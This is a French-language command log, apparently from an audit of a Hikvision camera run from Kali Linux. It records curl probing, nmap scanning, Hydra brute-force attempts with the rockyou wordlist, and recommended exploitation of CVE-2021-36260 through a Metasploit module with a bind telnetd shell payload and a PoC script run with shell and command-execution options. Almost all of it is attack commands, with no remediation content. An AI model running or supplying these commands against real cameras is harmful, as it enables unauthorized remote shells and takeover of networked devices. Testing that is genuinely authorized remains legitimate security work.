■ Journal des Commandes

Historique complet de l'audit - Investigation Kali Linux / Hikvision

1. Analyse initiale avec cURL

• **Tentative HTTPS - Erreur certificat/serveur**

```
curl -v https://10.17.0.1 2>&1 | head -20
```

• **Tentative HTTPS cible - TLS OK mais page vide**

```
curl -v https://10.17.0.2 2>&1 | head -20
```

• **Connexion HTTP basique - Code de redirection (-s masque progression)**

```
curl -s https://10.17.0.2
```

2. Scan Réseau et Énumération (Nmap)

• **Scan complet ports TCP - Ports 80, 443, 554, 8000 + MAC Hikvision**

```
sudo nmap -p- 10.17.0.2
```

• **Recommandé - Scan sous-réseau pour autres appareils**

```
sudo nmap -sn 10.17.0.0/24
```

3. Exploration interface Web (cURL)

• **Récupération page redirection - Erreur syntaxe point-virgule**

```
curl -s https://10.17.0.2/doc/index;HTML 2>&1 | head -20
```

• **Extension en majuscules - Erreur 404 Not Found**

```
curl -s -L http://10.17.0.2/doc/index.HTML 2>&1 | head -20
```

• **Récupération réussie - Découverte framework Vue.js**

```
curl -s http://10.17.0.2/doc/index.html
```

• Flux vidéo - Erreur protocole (Curl ne gère pas RTSP)

```
curl -v rtsp http://10.17.0.2:554 2>&1 | head -20
```

4. Attaque par Force Brute (Hydra)

• Echec 1 - Erreur casse option -p (faux positif)

```
hydra -l admin -p /usr/share/wordlists/rockyou.txt 10.17.0.2 http-get
/doc/index.html
```

• Echec 2 - Option -P correcte mais faux positifs Vue.js

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.17.0.2 http-get
/doc/index.html
```

5. Commandes recommandées - Exploitation CVE-2021-36260

• Metasploit - Test faille Hikvision

```
sudo msfconsole
use exploit/linux/http/hikvision_cve_2021_36260_blind
set RHOSTS 10.17.0.2
set RPORT 80
set TARGET 0
set PAYLOAD cmd/unix/bind_busybox_telnetd
exploit
```

• Script Python PoC type bashis

```
python3 CVE-2021-36260.py --rhost 10.17.0.2 --rport 80 --check
python3 CVE-2021-36260.py --rhost 10.17.0.2 --rport 80 --cmd "ls -l /"
python3 CVE-2021-36260.py --rhost 10.17.0.2 --rport 80 --shell
```